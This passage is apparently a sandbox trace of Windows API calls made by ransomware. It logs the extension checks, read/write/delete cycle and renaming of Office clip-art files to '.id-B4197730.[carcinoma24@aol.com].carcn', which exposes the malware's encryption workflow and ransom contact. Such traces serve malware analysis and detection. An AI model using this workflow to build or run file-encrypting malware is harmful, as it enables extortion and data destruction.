Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0285.430] lstrlenW (lpString=".dbf") returned 4 [0285.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0285.430] lstrlenW (lpString=".1cd") returned 4 [0285.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0285.430] lstrlenW (lpString=".jpg") returned 4 [0285.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0285.448] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2756) returned 1 [0285.448] CloseHandle (hObject=0x528) returned 1 [0285.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0285.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0285.477] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.478] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0285.479] GetLastError () returned 0x0 [0285.479] ReadFile (in: hFile=0x568, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xac4, lpOverlapped=0x0) returned 1 [0285.481] WriteFile (in: hFile=0x564, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xad0, lpOverlapped=0x0) returned 1 [0285.482] ReadFile (in: hFile=0x568, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.482] WriteFile (in: hFile=0x564, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.482] SetEndOfFile (hFile=0x564) returned 1 [0285.483] CloseHandle (hObject=0x564) returned 1 [0285.483] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.483] SetEndOfFile (hFile=0x568) returned 1 [0285.486] CloseHandle (hObject=0x568) returned 1 [0285.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0285.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0285.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0285.487] lstrlenW (lpString=".doc") returned 4 [0285.487] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.487] lstrlenW (lpString=".docx") returned 5 [0285.487] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.487] lstrlenW (lpString=".pdf") returned 4 [0285.487] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.488] lstrlenW (lpString=".xls") returned 4 [0285.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.488] lstrlenW (lpString=".xlsx") returned 5 [0285.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.488] lstrlenW (lpString=".ppt") returned 4 [0285.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0285.488] lstrlenW (lpString=".zip") returned 4 [0285.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.488] lstrlenW (lpString=".rar") returned 4 [0285.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.488] lstrlenW (lpString=".bz2") returned 4 [0285.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.488] lstrlenW (lpString=".7z") returned 3 [0285.488] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0285.488] lstrlenW (lpString=".dbf") returned 4 [0285.488] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0285.488] lstrlenW (lpString=".1cd") returned 4 [0285.488] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0285.488] lstrlenW (lpString=".jpg") returned 4 [0285.488] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0285.490] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=5000) returned 1 [0285.490] CloseHandle (hObject=0x568) returned 1 [0285.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0285.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0285.490] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.490] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0285.492] GetLastError () returned 0x0 [0285.492] ReadFile (in: hFile=0x568, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1388, lpOverlapped=0x0) returned 1 [0285.501] WriteFile (in: hFile=0x564, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1390, lpOverlapped=0x0) returned 1 [0285.502] ReadFile (in: hFile=0x568, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.503] WriteFile (in: hFile=0x564, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.503] SetEndOfFile (hFile=0x564) returned 1 [0285.503] CloseHandle (hObject=0x564) returned 1 [0285.503] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.504] SetEndOfFile (hFile=0x568) returned 1 [0285.506] CloseHandle (hObject=0x568) returned 1 [0285.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0285.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0285.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0285.508] lstrlenW (lpString=".doc") returned 4 [0285.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.508] lstrlenW (lpString=".docx") returned 5 [0285.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.508] lstrlenW (lpString=".pdf") returned 4 [0285.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.508] lstrlenW (lpString=".xls") returned 4 [0285.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.508] lstrlenW (lpString=".xlsx") returned 5 [0285.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.508] lstrlenW (lpString=".ppt") returned 4 [0285.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0285.508] lstrlenW (lpString=".zip") returned 4 [0285.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.509] lstrlenW (lpString=".rar") returned 4 [0285.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.509] lstrlenW (lpString=".bz2") returned 4 [0285.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.509] lstrlenW (lpString=".7z") returned 3 [0285.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0285.509] lstrlenW (lpString=".dbf") returned 4 [0285.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0285.509] lstrlenW (lpString=".1cd") returned 4 [0285.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0285.509] lstrlenW (lpString=".jpg") returned 4 [0285.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0285.712] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=7340) returned 1 [0285.717] CloseHandle (hObject=0x528) returned 1 [0285.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0285.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0285.842] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.842] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0285.843] GetLastError () returned 0x0 [0285.843] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0286.097] WriteFile (in: hFile=0x394, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0286.098] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.098] WriteFile (in: hFile=0x394, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.098] SetEndOfFile (hFile=0x394) returned 1 [0286.104] CloseHandle (hObject=0x394) returned 1 [0286.105] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.105] SetEndOfFile (hFile=0x544) returned 1 [0286.116] CloseHandle (hObject=0x544) returned 1 [0286.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0286.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0286.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0286.118] lstrlenW (lpString=".doc") returned 4 [0286.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.118] lstrlenW (lpString=".docx") returned 5 [0286.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.118] lstrlenW (lpString=".pdf") returned 4 [0286.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.118] lstrlenW (lpString=".xls") returned 4 [0286.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.118] lstrlenW (lpString=".xlsx") returned 5 [0286.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.118] lstrlenW (lpString=".ppt") returned 4 [0286.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0286.119] lstrlenW (lpString=".zip") returned 4 [0286.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.119] lstrlenW (lpString=".rar") returned 4 [0286.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.119] lstrlenW (lpString=".bz2") returned 4 [0286.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.119] lstrlenW (lpString=".7z") returned 3 [0286.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0286.119] lstrlenW (lpString=".dbf") returned 4 [0286.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0286.119] lstrlenW (lpString=".1cd") returned 4 [0286.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0286.119] lstrlenW (lpString=".jpg") returned 4 [0286.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0286.120] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2616) returned 1 [0286.120] CloseHandle (hObject=0x544) returned 1 [0286.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x220 [0286.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0286.121] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.121] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0286.123] GetLastError () returned 0x0 [0286.123] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xa38, lpOverlapped=0x0) returned 1 [0286.127] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xa40, lpOverlapped=0x0) returned 1 [0286.128] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.128] WriteFile (in: hFile=0x548, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.128] SetEndOfFile (hFile=0x548) returned 1 [0286.128] CloseHandle (hObject=0x548) returned 1 [0286.128] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.128] SetEndOfFile (hFile=0x544) returned 1 [0286.131] CloseHandle (hObject=0x544) returned 1 [0286.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0286.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0286.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0286.132] lstrlenW (lpString=".doc") returned 4 [0286.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.132] lstrlenW (lpString=".docx") returned 5 [0286.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.132] lstrlenW (lpString=".pdf") returned 4 [0286.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.132] lstrlenW (lpString=".xls") returned 4 [0286.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.133] lstrlenW (lpString=".xlsx") returned 5 [0286.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.133] lstrlenW (lpString=".ppt") returned 4 [0286.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0286.133] lstrlenW (lpString=".zip") returned 4 [0286.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.133] lstrlenW (lpString=".rar") returned 4 [0286.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.133] lstrlenW (lpString=".bz2") returned 4 [0286.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.133] lstrlenW (lpString=".7z") returned 3 [0286.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0286.133] lstrlenW (lpString=".dbf") returned 4 [0286.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0286.133] lstrlenW (lpString=".1cd") returned 4 [0286.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0286.133] lstrlenW (lpString=".jpg") returned 4 [0286.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0286.134] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=26706) returned 1 [0286.134] CloseHandle (hObject=0x544) returned 1 